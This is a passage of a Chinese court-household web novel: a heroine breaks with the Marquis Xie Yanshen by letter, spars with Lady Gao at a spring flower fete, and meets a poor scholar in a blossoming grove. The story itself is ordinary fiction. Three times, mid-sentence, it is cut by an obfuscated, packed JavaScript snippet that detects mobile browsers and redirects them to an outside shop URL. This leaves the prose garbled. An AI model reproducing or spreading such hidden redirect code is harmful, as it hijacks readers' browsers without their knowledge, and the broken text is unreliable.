“对了，医官说姑娘要静养，不宜被打搅，这扇小门往后便不开了，侯爷若有吩咐，只管同大门的门房说一声，通报姑娘就是。” 话音落下，木门关紧，数秒，传来沉锁挂上的声响。 … 院子中静悄悄，老妇人快步行过回廊，推开主屋房门，走近榻上安静翻着书页的少女。 “姑娘，”关嬷嬷垂首轻声，“信已经交出去了。” 玉怜脂没有太大反应，淡淡“嗯”了一声。 关嬷嬷的表情有些犹疑，还是忍不住开口：“刚刚那位福管事的脸色可是难看透了，我是怕侯爷收到信，会……” “会如何？”榻上的人面色如常。 关嬷嬷：“那日侯爷试探冬祭之事，我已经应付过去了，姑娘何必非要激怒侯爷，若是侯爷怒极，不知道会做出什么事。” 玉怜脂轻飘飘瞥她一眼，良久，柔声道：“嬷嬷不必担心，横竖他不会伤害我。” “再者说，被误解之人心中失望难道不是理所当然?他再恼怒，也怪不到我身上。是他自己猜疑了我，我才会难过得要同他断了情分，一切都在情理之中。我若是什么都不做，才是反常。” 她的声音如涓涓溪水淌出，平缓，还带着几分大病初愈的虚弱。 “姑娘，”关嬷嬷苦着脸，“还是要注意分寸，若是太过，适得其反，就不妙了。” 玉怜脂浅笑：“……我晓得的。” 那日去地牢回来，她心神大震，控制不住自己，差点和谢砚深撕破脸皮，还被他再次怀疑。 幸好她吐血晕过去之后，关嬷嬷自己察觉到了异常，按照之前商量好的解释，惊险扳回一局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991748|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 眼下的情况，她还不能抽身离去，必须留在谢砚深的身边才能继续得到有用的消息。 ……但若一直不咸不淡做个和他暗中偷情的乖巧女娘，有什么意思。 谢砚深既不娶她为妻，却又不喜她提起婚事，当日赵庆吉放肆，他更是大怒。 她在他心中的分量，大概就是颇为心爱、不愿轻易罢手，更不许旁人觊觎的禁-脔罢。 他只想把她牢牢关在寝屋里，床榻上，不能脱离他的控制，不要接触外头的事，一切都由他来决定。 连她双亲的旧案，他都不想她多过问，明明他已经大抵推出真凶，面对她时还是隐瞒、欺哄。 偏生她素日都是以柔弱无害示人，如果直接强势与他冲突，必定又像这次一样惹起他疑心。 既然如此，不如趁着机会换道而行，迂回夺取主动权。 柔情蜜意固然酥人心肠，贪嗔痴怨却更刻骨铭心。 愤怒也好，恼恨也好，嫉妒也好…… 凡能牵动心绪、扰情乱智的，都好。 - 主院。 福明站在书房里，脚下软得像面条，整张脸都是白的。 书案后，男人面色极沉，手中捏着一张薄薄花笺，上头只有两列秀气小字—— “解怨释结，更莫相憎，疑生两殊途。” “从今以往，勿复相思，相思与君绝。” 墨迹分毫不见凌乱，轻重合宜，可见下笔之时平稳淡然。 “侯，侯爷……”福明鬓边已经出了冷汗，语无伦次，“玉姑娘应该只是一时生气，害怕，才……” 他虽然看不到信里写的什么，但从他主子的表情，就知道没什么好事儿。 “她还说了什么。”谢砚深抬眼，眸中隐有血丝，压着狂风暴雨。 福明忍不住一抖，腿倏地便麻了。 “说。”谢砚深面色更加晦暗。 福明咽了咽口水，颤着声：“……姑娘，姑娘说，侯爷照拂她，她心里很，很感激……等，等到……” “等到什么？” 福明拼着力气深呼吸两下，闭着眼一口气说完： “等到开春之后和大郎君商议好招赘之事，来，来给侯爷谢恩！” 一句话说出来，他感觉半条命都要没了。 书房内陷入了死寂。 许久，男人有些沙哑的声音响起。 “……呵。”他的嗓音抑到最低，带着快要埋藏不住的暴怒。 花笺被收入掌中，捏紧，揉碎。 58. 花会 春分时节，镇北侯府正门大开，宾客如云，收了帖子赴宴的人家多是带着年轻女孩儿，抑或儿郎。 今年的花会，侯府的宴席不似以往办在室内，而是请能工巧匠改整园子，布置了一整片花林，形如郊外踏春，如此男宾席与女宾席也不必分开。 阶柳庭花，道道倩影掩映香花飞雾之中，结伴悠游。 玉怜脂安静坐着，微垂首，不紧不慢沏茶，随后恭敬递向左前侧靠在榻上的枯瘦女人。 “这是府里大夫配的药茶，不会与婶婶平时喝的汤剂相冲，婶婶用些吧。”微笑。 此刻临水小亭中只有她与高眉湘，谢文嫣谢文霖都交游去了，只剩她们两个不能多行多走的病弱之人，奴仆们都也散立在亭子外。 高大夫人冷冷看着她，没有接茶的意思。 没得到回应，玉怜脂的表情也丝毫不见尴尬，笑着放下茶盏，转手给自己倒了一杯。 浅饮一口，轻声：“婶婶盯着我快半柱香了，也不嫌眼睛累得慌。” 她话音落下，高大夫人瞳中一紧，旋即抿紧唇，恨恨移开眼。 “婶婶这样可藏不住事啊，当初您装得多好，如今功力竟削减了么。”玉怜脂捧着茶，笑得乖巧，声音也是细软温柔， “所以婶婶还是听我的，喝些茶，平心静气，才好继续在这府里做戏呀。” 话语讽刺不敬，语气面容却毫无异常之处，任远处谁瞧见，都看不出她说的话如此大逆不道。 高大夫人眼角忍不住抽搐，几乎一口气差点喘不上来。 瞪着她的眼神里带着怨怒，冷笑：“论起表里不一，居心叵测，我确实比不上你。” 玉怜脂眯起眼，而后开口：“……婶婶，我实在不明白，您为何就是不肯同我好好相处，就像原来那样。” “我帮您掩盖了天大的丑闻，也从来不让您去做以身犯险的事，只是偶尔让您帮些无伤大雅的小忙，按理来说，您应该感激我才是。怎么您反而如此……不懂事呢。” 她说话时带着丝许不解，完全理直气壮，竟是觉得高眉湘无理取闹。 高大夫人不敢置信地睁大眼，心中疯狂冒火，却又一时之间不知道如何反驳。 因为玉怜脂的确没以谢滨之事为胁迫，让她干什么伤天害理的事情。 上回让她带她去冬祭，这回要求她把选好的举子人选一并邀到今日的花会上，供她相看。 乍一看，都是些小事。 但……她总是觉得哪里有古怪。 “我听说，先前安平伯府的姨太太来了，伯府的表少爷那日是躺着出去的，”高大夫人面上带着怀疑，“……你当时也在四时园？” 她重病许久，却也不是白做镇北侯府这么多年的族妇的，自然在府里有眼有耳。 赵庆吉被重伤抬出府的事情，她第二日才得知，但是却打听不出缘由，概因消息被润安堂和主院联手封锁了。 原本此事与她无关，但后来知道玉怜脂当时就在场，她心里立时多了个疑影。 玉怜脂是什么人，恐怕这府里只有她最清楚，奸诈狡猾，人面兽心，她一直觉得她藏着更大的阴谋。 只是到如今，侯府内部也没发生什么真正和玉怜脂有关的大事，所以她也无法确定。 高大夫人坐直身，压下声：“西院的事，算我栽了，但我告诉你，若是你把主意打到府里其他地方，便是我使尽浑身解数，也保不住你。” 后头似乎还有话未尽，但她紧闭唇，住了口。 玉怜脂愣了一下，随即轻笑出声：“婶婶是怕真有事，我会拉你当垫背的吧？婶婶胆子可真小。” 高眉湘：“你……！” “婶婶，这府里水深，有太多事，知道的越少才越好，”女郎放下茶杯，缓慢说， “四时园的事，太夫人和深叔说什么，那便是什么，婶婶最好别放心上，横竖已经过去了。” 高大夫人听出话茬不对，语气也有些激动起来：“你背地里，是不是做了什么？” 玉怜脂偏首和她对视：“婶婶，当日四时园，我可真的没动手，那位表少爷不是我伤的。” 这她可没说谎，赵庆吉确实不是她打伤的。 不等高大夫人继续责问，她接着说： “今日我让您把那些举子请来，为的自然是招赘之事。我若成婚，不久便离开侯府了，到那时，我就碍不着您的眼了。您与其想着那些不相干的私密事，还不如赶紧助我挑个如意郎君呢。” 高大夫人呼吸一滞，眼眸不自觉颤动，还想说的话又被堵下去。 话是没错…… 而且今日玉怜脂瞧着也是精心妆扮了一番，不像往日那样素净，妆容和衣裙都挑了明媚的颜色，发髻上的首饰都华丽许多。 从前只是容色出众，今天却像是摆出了定要艳压群芳的架势。 说是为了这场相看特地做的准备。 玉怜脂拂了拂裙摆，站起身：“眼下的时辰，宾客应当都到了。” “婶婶，我们也去吧。”她笑着拉住椅上女人的手。 - 飞红园。 天高云淡，日光温暖，驱散了些许初春的寒凉，今年的初春天气极好。 王公贵族的年轻郎君、世家门阀的贵女，都在园林之中结伴游玩，作诗作画，投壶垂钓，正好此次花会不在高屋之中，披着天，踩着地，不用拘束太多礼节。 今个儿镇北侯府是主场，赵庆姗是侯府的表小姐，背后又有王老太君撑着，此刻和一群女郎坐在单独的小席上，虽然身边都是高门贵女，但她稳稳占着主位。 为了今日的花会，赵庆姗着实花了心思。 她平日最常穿清雅的颜色，一来能显出端庄娴静、世家风范；二来她本身不是娇丽明艳的样貌，太过鲜浓的色彩她压不住，穿了反而不好看。 她这次选了浅青的轻纱曳地绣裙，配上王老太君特地给她置备的一整套琼玉碧金头面，典雅出尘。 慢步走动间，实是清风曼徐柳清影，淡雅芳慧莲伊人。 “庆姗，你今个真是和以往大不相同了，依我看，侯府好容易育出的那几盆凤羽牡丹，怕是都不及你的风采。”出声的是威远伯府的邱四娘，素来和赵庆姗交好。 赵庆姗听罢，虽晓得有夸大的成分在，但谁人不爱被赞扬容貌呢，更何况她真是费了一番功夫。 她心中欢喜，便也展露笑颜，而且她花会前的准备，不仅是要在群芳中不落下风，更是为了许久未见的那个人。 想起谢砚深，赵庆姗先是有些羞意，可下一秒，脑海里倏地又闪过一道娇弱美丽的人影。 一瞬间，喜悦之情便少了许多，连笑意也淡了几分。 许是看出她情绪的转变，身边的骠骑将军府的幺娘眼中微闪，连忙开口：“对了，方才我过来的时候，听见说护国公府的大小姐和四姑娘也来了。” “任大小姐最喜爱牡丹了，寻常的花会她是不赏脸的，还是侯府有面子，她竟不曾缺席。” 邱四娘也点头应和：“是啊，我原本也以为她和四姑娘不来了，毕竟国公府最近……事忙嘛。” 说到此处，席上的贵女们都有些不自然，表情各异。 年后，天家圣旨下到护国公府，但不是一道，而是两道。 圣上亲自为任府的两位未嫁女儿赐了婚，大姑娘任智妤着为承王正妃，四姑娘任凝香…… 为承王侧妃。 第二日，消息便传到京中各府，不知多少人惊掉了下巴。 谁能想到，护国公府声名不显的三房，竟然有本事说动护国公和皇后，把自己的女儿送入承王府，谋了个侧妃之位。 这样一来，护国公府和承王的联系，便真是紧得不能再紧了。 如今睿王失势，若是将来承王殿下真能登上大宝，那任四姑娘少说也是贵妃之尊，一生无边荣华，若再生下皇子，那更是前途不可限量。 只是……任大小姐的心中，不知是何滋味。 小席上刚沉默片刻，四周人群不知怎的，也忽地安静下来。 她们这处离园子通进来的道路不远，但人群遮挡着，还不太清楚情况，只是神色不见惊奇。 “应当是任大小姐到了吧，她来了，大家一贯都是这个反应，”说这话的贵女慢悠悠饮着果酒，有些好奇地探头。 任智妤倾城之姿，每逢宴会、游会，必定惹得许多郎君与女娘们惊艳，已经见怪不怪了。 “不知她今日是什么打扮，不瞒你们说，我每回最期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991749|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待见的就是任大小姐了，真是仙子一样的人物。”邱四娘有些兴奋。 席上的女娘们也都开始朝不远处望去，美人谁不爱欣赏呢。 可来的却不是任智妤。 “这……这是哪家的娘子?真是好样貌，竟从未见过。” “若是京城的，早便出名了，或许不是京城人氏……” …… 四周传来众人低声言语，赵庆姗只是听了几句话，便瞳孔紧缩。 她猜到是谁了。 远远的，一道淡粉色的倩影跟在侯府大夫人身后，分花拂柳而来，所经之处，无论是男子还是女子，所有人的目光都集中在她身上。 她实在是太柔了，太润了，仿佛春水缠成的妖精。 看着她，才让人真正知道凝脂般盈透的美人是何种模样。离得近些的人，能看见她眼尾斜上的地方隐隐一颗极细小的红痣。 这个不知姓名的小娘子什么地方都是得天独厚，多一分则溢，少一点则亏，眉眼丽极秀极，云鬓雪肤，花容明姿，美得夺人心魄。 她微低着头，淡淡的阴影给她带来了一丝愁弱，不让她苦涩，反而让人想抚慰她，取悦她，与她交心交魂。 玉怜脂慢慢走入园内，各种各样的视线朝她投过来，或隐秘，或直白。 在这京畿的春里，她带来了江南水乡独特的美，带走了不知多少儿郎的心绪。 西侧花树旁，被特地邀来侯府中的举子们聚在一处。 他们这些人本没有福分来镇北侯府的宴会，是得了府中大房的眷顾，才有幸站在此处。 彼此间心知肚明，同为竞争者。 竞争的是……一个背靠侯府的病弱商贾孤女的夫婿。 侯府的人没有明说，但他们心里多多少少也猜出来一些，这个“婿”，有可能是赘婿。 在场的人无一个是家中有官场背景的，而且本朝虽然不禁赘婿为官，但这层身份会让他们的仕途比平常官吏艰难十倍不止。 但一切都抵不过这门婚事能够搭上镇北侯府。 能有侯府的关系——他们仿佛一眼便能看到平步青云的未来。 在这样的诱惑下，即便那个病秧子小姐再难伺候，也是值得来一趟的。 但真到了侯府，所有人心中颇为沉重，坐在一处，也只是各自默然，饮着茶酒。 直到坐在最外侧的人突兀叫了一句：“那位就是玉小姐……？” 声音木楞，还带着惊愕。 几人抬头望去，瞳中均映入那道纤弱丽影。 左侧面容颇为清俊的庆州举子倏地僵住，脸猛地涨红，手一抖，杯盏便砸在了桌上。 茶水流了满桌，却无人在意。 所有眼睛都跟随不远处的人移动。 - 园中最好的位置用来摆了戏台子，宾客们若是有喜爱的曲目，便让下人记下。 高大夫人带着玉怜脂、谢文嫣到的时候，戏台下的主席聚着许多人，都围着正首上华发老妇人，你一言我一语地说笑。 “母亲。” “祖母。” “太夫人慈安。” 三人朝王老太君行了礼，后者斜过来一眼，定在最后头的少女身上，目光一瞬间淬了毒，又飞快移开。 “起来吧。”她淡淡道 “是。” 席上热闹被短暂地打断一瞬，而后又恢复。 高大夫人入了席，坐在王老太君左手边，玉怜脂和谢文嫣则暗暗对视一眼，朝上座行了礼，和别的女娘们一般转身往林中走。 右边不远处，是各府郎君的主席面，今日虽是花会，有官身的男子们也不会真就除了赏花什么都不做，进了镇北侯府，自然要想方设法同侯府主君交际。 首座上的人毫无疑问只有那一位。 明媚纤丽的女娘缓步走向园林另一侧，唇角轻勾，带着温柔浅笑，正和身边的谢文嫣高兴地说着些什么。 谢砚深面无表情，此刻目锋直直朝她的方向射来，掌中酒樽握紧。 然而他没能得到分毫回应。 她一眼都没有看过来，视他为无物。 笑着朝西边去了。 那里有一群与园林中世族官宦男女格格不入的春闱举子。 59. 举子 初春的风还带着几分寒凉，穿过花林吹拂过来，风中卷着花瓣，香气环绕。 “玉姐姐，那边就是母亲为你挑来的人？”谢文嫣拿着帕子，遮住半边脸，坏笑着用气声调侃， “啧啧，个个丰神俊朗，要我说，只能挑一个真是可惜了。” 玉怜脂两颊飞上淡红，笑意羞怯，瞪她一眼，嗔声道：“嫣儿！你胡说什么呢，也不知羞……” 谢文嫣嬉笑，望向不远处：“姐姐先别害羞呀，你看，那边有人比你还慌呢。” 视线尽头，原本呆坐着的举子们见到她们靠近，一个个手忙脚乱站起身，红着脸局促无措。 一路走到席前，玉怜脂先欠了欠身，谢文嫣则是敷衍着点了个头。 举子们也连忙拱手回礼，刚想开口，却又纷纷顿住。 伺候谢文嫣的侍女上前一步：“这是我们侯府二小姐、还有玉姑娘。” “见过二小姐，玉姑娘。”举子们垂首。 问候之后，八名举子开始轮流介绍自己。 轮到最后一个青衫举子时，等了好半晌，也没听见响动。 玉怜脂好奇看过去，只看见一张红透了的清俊面容，青衫举子想要开口，急得满头大汗，但支支吾吾地，就是说不出口。 谢文嫣先笑出声：“诶，那边那位是谁，怎么不说话？” 站在最前方的蓝衣举子抢着回答：“回二小姐，他叫程有立，是庆州来的。” “有立？”玉怜脂重复这两个字，眼神一扫他身上衣裳。 “……是，是！”程有立猛地醒神，结结巴巴， “玉小姐妆安，我，我字才思……” 语无伦次，其余七名举子均是嗤笑，连跟在玉怜脂和谢文嫣身后的婢女婆子们都忍俊不禁。 玉怜脂也禁不住笑起来：“落落精神终有立，飘飘才思杳无穷，好名字。” 程有立睁大眼，脸上的红色几乎要滴出来：“谢，谢小姐夸赞，小姐过誉，也，也没，没这么好……” 玉怜脂捻着帕子掩唇轻笑，末了，说道：“诸位是受邀前来，难得入侯府一趟，便好好游玩吧，切莫辜负了。” 说罢，与谢文嫣相伴离去。 走出不远，和谢文嫣言笑几句便分开了，而后偏首和关嬷嬷低声数秒。 … 芙蓉倩影消失在视线中，举子们各有心思，逐一坐下，已经不像来时那样惆怅沉重，而是兴奋难言。 只有一人还痴痴望着远方。 “诶！”席上的高瘦举子喊他，“别看了！玉小姐早走了。” 程有立顿住许久，才慢慢转回身。 高瘦举子指着他身上：“你身上都被茶水弄湿了，还不去处理掉。” “……什么？！”程有立一愣，随后连忙低头，果不其然看见下摆一片暗色濡湿。 下一刻脸色难看起来。 这，这不就代表，刚刚在玉姑娘面前，他就是这个样子和她说的话…… 程有立掩面转身离席，顾不上身后阵阵低声嘲笑。 一路辗转，到了园中亭屋，刚想找侯府小厮帮忙，没成想转过廊角，迎面撞上微笑着的老妇人。 “程郎君。”关嬷嬷压低声问安，“我们姑娘有请。” 程有立身体猛地僵住，怔愣在当场。 … 玉怜脂慢步朝园林北边行去，那边的花树最高，落英缤纷。 要绕到北林，要再次穿过园中心的宾客主席，她路过时，又是许多视线黏过来。 其中一道沉冷、仿佛能透入她皮肉，刺进骨髓。 她顾自走着，目不斜视，很快入了林中。 越走越深，不多时，怀中多了一捧花枝，她游林子向来爱折枝，侯府里的花树名贵，花团锦白，芬芳怡人。 她不紧不慢，轻哼着不成曲的小调。 - 流水小桥上，湖蓝罗裙的中年妇人皱着眉，握紧面前年轻女娘的手。 “阿归，待会儿见了侯府老太君，你的性子且得收一收，和顺些，啊。”梅夫人眼中满是担忧。 她最清楚自己女儿的脾性，一向做不来那些嘴甜讨巧的事，往轻了说，是不卑不亢，更直白些，就是骨子里有股清高傲气，不屑低头。 平日里少说话、或是只和熟识的手帕交女郎们一块相处还好，就怕等会儿到了侯府席面上，对着各家各府陌生的贵女官眷们，一个不留神会得罪人。 梅夫人看着梅雁伊，语重心长：“侯府老太君看中我们家，说到底是我们高攀，娘也知道，将来要是真能成事，你独个儿在高门大院里也难免步步小心，受些委屈。但盘算来去，这门亲着实是好的，若是错过了，可就再也没有了。” 原本他们家对镇北侯府这门亲事是有些犹疑的，攀高枝攀高枝，若是这枝飞到天上，一个攀不牢，就会摔下来粉身碎骨。 他们梅府不是那等卖女儿求富贵的人家，是多番打听后，得知现任镇北侯多年来洁身自好，人品也端方持重，没有任何通房小妾、花天酒地的破事，才动了心。 故去的老侯爷，到死也只在妻子不育八年后纳过一个妾。 镇北侯府人口简单，若嫁过去，什么妻妾嫡庶姑婆叔嫂的明争暗斗，那是通通没有的，日后与郎君相敬如宾，日子不知得省多少心。 他们女儿性情孤高，宁折不弯，若换了那些腌臜门户，陷到宅中恶斗去，日积月累，势必大损心性，枯萎颓败只是迟早，更愁怕她可能一个想不开，酿成惨祸。 思来想去，都是放不下心，只想她嫁去个平稳事少的人家。 所以，镇北侯府的亲事，是再合适不过了。 加上梅府和侯府同在京城，将来梅雁伊成婚，他们也能常常见到。 “听话，啊。”梅夫人抬手给女儿扶了扶发髻上的荷钗。 手放下来后顿了顿，又道：“……我听闻，侯府老太君极为疼爱安平伯府的小姐，那位表姑娘也在待嫁之年。” 言下之意，这门亲事也许还有的波折，需要额外使力。 梅雁伊表情冷淡，声音清如湖上风：“娘是要我与那位贵女相争？那这门亲事，不要也罢。” 梅夫人倒吸一口气：“阿归！” 梅雁伊淡然道：“我只在昭丰大殿中遥遥见过谢侯爷一面，与他毫无情谊可言，直到现在，也只有侯府太夫人显露了些看中我们家的意思。” “若是镇北侯本人也满意，冬祭多好的时机，他为何不借着答谢晋阳水灾的事与父亲表露心意，哪怕一星半点儿？可见这门亲事，本来就不牢靠，期望太多反而伤神，不值当。” 梅夫人被她的话一顶，哽住片刻，扶额深呼吸两回，再抬头，看见她毫不在意的倔强样子，心头又是一堵。 最后无奈拉过她往外走，接着再劝：“好了好了，你，你待会儿可千万不能这样……娘知道你是因为不喜爱武人，可谢侯爷不是那等不通文墨的蛮夫，这门亲事是我与你爹仔细盘算过的，你多少上心些……” - 女宾主席面，入席的官眷越来越多，赵庆姗在小席上没坐多久，就被陪在王老太君身边的安平伯夫人叫了过去。 在座众人知道王老太君疼爱这个外甥女，见她来了当然是一个接一个地夸。 赵庆姗微红着脸，直到下人通报工部主事家的女眷到了。 她眼中一紧，朝前看去，映入眼帘的女郎步伐沉稳，走动行礼时仿佛一幅仕女图，容貌不是极为惹眼的那种，但身上冷清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991750|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的书卷气难得一见。 工部主事府，梅家小姐，梅雁伊。 见到她，原本侧着身和赵庆姗谈笑的王老太君都转回身，立刻站起来。 镇北侯府是武将世家，但王老太君出身晋阳王氏，向来偏爱文人，梅府世代都是读书人，梅雁伊的外祖家也是屡出进士的书香门第，当初她第一次看见梅雁伊，就忍不住心生喜爱。 这样清透沉静的女娘，做侯府的未来主母，她是很满意的。 “梅大娘子来了，”王老太君上前，笑意满面，“快，快来这边，早就给你和雁伊留了座，我可是早早便等着，许久不见你和雁伊，我也想念得紧。” 梅夫人也笑着：“太夫人真是太客气了……” 她们这边相见欢欣，旁边倏然被冷落的赵庆姗忍不住攥紧裙摆。 唇角的笑眼看就要绷不住了，忽地一只手伸过来，压在她的手背上。 赵庆姗转头看去，只瞧见自己母亲平和带笑的侧脸。 “姐姐，这就是你常说的梅府小姐吧？”安平伯夫人不着痕迹收回手，也站起来，几步上前， “诶呀，这精通诗词书画就是不同，在这京城，我可是许久没见过这样气度不凡的姑娘了。” 说着，又朝梅夫人一笑：“梅大娘子真是好福气。” 梅夫人眼中微闪，立刻猜出她的身份，旋即应道： “伯夫人抬举了，我这女儿木讷得很，平日也只会胡乱弄些涂画，不怕您笑，往日同其他家的女孩一起做雅集，她呀，从来没拔过头筹，肚子里就那点子墨水，都不值当提起来，更别提什么不凡了。” 王老太君瞧见安平伯夫人过来，原本满载笑意的眼神瞬间带上几分犹豫。 论情分，她肯定是偏向安平伯夫人和赵庆姗，本来这段时日赵庆姗频频来照料她，她心中天平已经更加倾斜，可今日再亲眼见到梅雁伊，她又舍不下了。 可亲事只有一门，她再摇摆，最后也得定下其中一个。 该如何做才好呢…… 梅夫人和安平伯夫人你来我往几句后，王老太君回过神，招呼众人入座。 席上又热闹起来，但正座上的老妇人端着茶，没了之前明显的喜悦，而是像在思索什么。 赵庆姗试图说几句俏皮话，王老太君依旧微笑，却不大有兴致，眼神在她身上定了一会儿，又飘向另一侧镇定自如的梅雁伊。 她佯装无碍，实则气恼转回头，暗暗打量对面的女郎，目光控制不住越来越阴寒。 下一刻，被她盯着的人似乎察觉到了什么，抬起眼，毫不遮蔽和她对视。 梅雁伊的眼神与她不同，干净直接，淡然无惧。 这样反而把赵庆姗吓了一跳，连忙转移视线，可心中愤怒越来越重。 梅雁伊宁静淡泊，更加显得她沉不住气，像一面镜子，映出她努力遮掩也盖不住嫉恨的丢人模样。 王老太君没功夫注意这些，放下茶盏，无需眼神，身边人立时俯身下来。 “把他叫来。”轻动唇。 到底与谁家结亲，她还想看看谢砚深对梅雁伊和赵庆姗各自什么反应。 婆子领命，恭敬退下。 男宾主席和女宾主席很近，派出去的婆子不一会儿就回来了。 但没能把人请来。 “太夫人，”婆子弯下身，掩唇，把声音压到最低，“侯爷不在席上。” 王老太君瞳中一缩，抬眸厉光闪过：“不在席上？” 婆子：“是，问过那边的婢子了，方才还在，现下……约莫是有事离席了。” “好好的日子，能有什么事。”王老太君面色不善，“派人盯着，等他回来，再去叫。” “是，奴婢明白。” 60. 暴怒 春景熙熙，满林幽香袭身。 程有立跟在老妇人身后，沿着隐蔽小路穿行林间。 此时此刻他如同梦中魂游，只觉得脚下漂浮，仿佛踩的不是遍地坠花，而是空中软云。 狂喜，不敢置信，慌乱，无措……所有情绪杂糅在一起，堵在心中，让他呼吸都急促许多。 眼前都有些恍惚，直到老妇人的声音再次响起来。 “程郎君，”关嬷嬷停住脚步，回身垂首，“后头的路，老奴就不领着了，郎君……慢行。” 程有立一个激灵，喉结滚动，声音也紧张到颤抖：“这，嬷嬷，这，这怕是，不太好吧……” 关嬷嬷平静道：“这片林子虽僻静，但也不是毫无人烟，待会儿保不准又有旁的贵女郎君前来游玩，时间短促，程郎君莫要耽搁，只管去就是了。” 程有立红着脸，目光忍不住往更深处的林子投去，残存的理智却强行拉扯住腿脚： “可我这，我这身上不干净，恐污了姑娘眼睛。” “郎君说笑了，若是我们姑娘介意，又岂会让我走这一趟？”关嬷嬷微笑着说， “您快去吧，恕老奴多嘴，有些福分，若是自个儿抓不住，可就再也没机会了。” “多少人想抢，都还抢不到呢。”冷不丁抛下最后一句。 程有立顿时一惊，脑中不由得浮现另外七名举子的面孔，倏地握紧拳。 随后朝面前老妇人行了一礼，转身提快脚步，向深处走去。 … 约莫行了数十米，程有立四下张望，却没见到任何人影，只有他自己，陷在一片柔白蕊香的天地间，从花树间隙透撒下来的光辉带来几许暖意。 他绕过一棵又一棵树，回身直望来时的方向，倒退着走了几步。 忽地，一抹异感出现在他的后心处。 “谁？！”程有立被吓了一跳，浑身一震，猛地转过身去。 对上一张也被弄得带上惊慌的明丽面容。 她手里还拿着戳他后背的花枝，此时飞快收了回来，抱着一束花，微红着脸，眸中有水润的光，看着他的眼神带着丝许羞怯。 “玉，玉姑娘！”程有立忍不住惊呼，刚恢复正常的脸霎时间又红透了， “我，是我吓到您了？对不住，对不住，是我不好……” 玉怜脂愣了一下，随后忍不住笑起来。 她笑的时候，原本蒙着丝丝病弱的素白脸颊变得鲜活明媚，娇妍更盛三月春光。 程有立登时呆住了，脑子里那些圣人道理、礼俗规矩全然忘了个干净，只会愣愣地盯着面前的人，耳边好像能听见胸膛内如鼓心跳。 “姑，姑娘……”他喃喃道。 玉怜脂抱着花，看着他这副样子，笑意更浓：“是我吓你，你怎么反而和我道歉？” “啊？”程有立脑中一片空白，“我，我，当然是我不好！是我胆子太小，才会一惊一乍的，姑娘吓得好，是我有错……” 他说话的时候控制不住地结巴，自己都不知道自己在说些什么，等意识到的时候，整个人更加窘迫，恨不得原地缩起来。 玉怜脂笑得停不下来，好一会儿才止住。 随即盯着他数秒，正色轻声问：“你知道你今天是来做什么的吗？” 程有立顿时紧张起来，咽了咽口水：“知道。” “那你知不知道，我是要招赘的？”她又问。 程有立倏地抬头，和她对视后又红脸移开眼，用力点了点头：“来之前，已经猜到了。” “那你为什么还愿意来？”她声音缓慢而温柔。 听见这个问题，程有立的眼神变得认真起来，深呼出一口气，才说道： “我不愿隐瞒姑娘，我双亲早离人世，是兄长将我拉扯长大，但为了供我科考，兄长积劳成疾，已然偏瘫。去年我过了秋闱，得到官府优待，又找了几间私塾做教书的活计，家中状况才总算好了些。” “但兄长所需的药钱，还有这些年欠下的银子，数额之巨，以我如今之力，实在难以支撑，今春会试，我也并无十足的把握，恐怕还要想办法再读三年，所以，所以我便来了……” 说完便垂下头，羞愧到无地自容。 玉怜脂看着他，浅笑：“你将实话和盘托出，丝毫不加修饰，不怕我会觉得你为钱折腰，瞧不起你吗？” 程有立飞快摇头：“姑娘瞧不起我，也是情理之中。” 他眼神灰暗，紧张到手心湿透。 “你很诚实，这是你的好处，如实相告是需要勇气的。”片刻后，少女轻柔的声音响起，像润物春雨， “你为了兄长而来，也没有错。” 他抬起头，看见她的眼睛，里头是温和的安慰。 春风吹拂过来，扬起女郎芙蓉色的裙摆，像徐徐绽开的红英。 程有立竟莫名哽咽：“玉姑娘，我……” 玉怜脂笑着，手突然再次抬起来，掌心握着那枝用来吓唬他的花：“给。” 程有立愣住，没有立刻接。 “我吓了你，给你赔礼。”她眨着眼，说道，“这府里的花树虽然好看，但京郊还有更漂亮的，我喜欢折花枝，就是总会伤着手，也不知道怎么办。” “伤着手？”程有立有些急，“那，那自然是找旁的人来帮您——” 说着，忽然顿住，看着面前少女羞粉的脸，青年的眼中开始涌上光亮。 “若是，若是姑娘要花枝，”他强压着激动，尽量维持镇定，“下回我挑最好的，折给你。” 玉怜脂没再说话，而是抿唇笑，轻晃了晃手里递出去的花枝。 程有立也忍不住傻笑起来，伸出手，正想接住。 远看去，娇丽的女娘与清俊的书生，双双红着脸，赠君以花，情意绵绵，就好像话本里的一道景。 “玉姑娘！”带着急迫紧切的男声如同天雷炸响。 玉怜脂和程有立都是惊得一震。 她握住花枝的手被吓得一松，缀着团团幽白的细枝坠落于地，但她没有转头，手微微颤抖，垂下。 程有立率先回头看去。 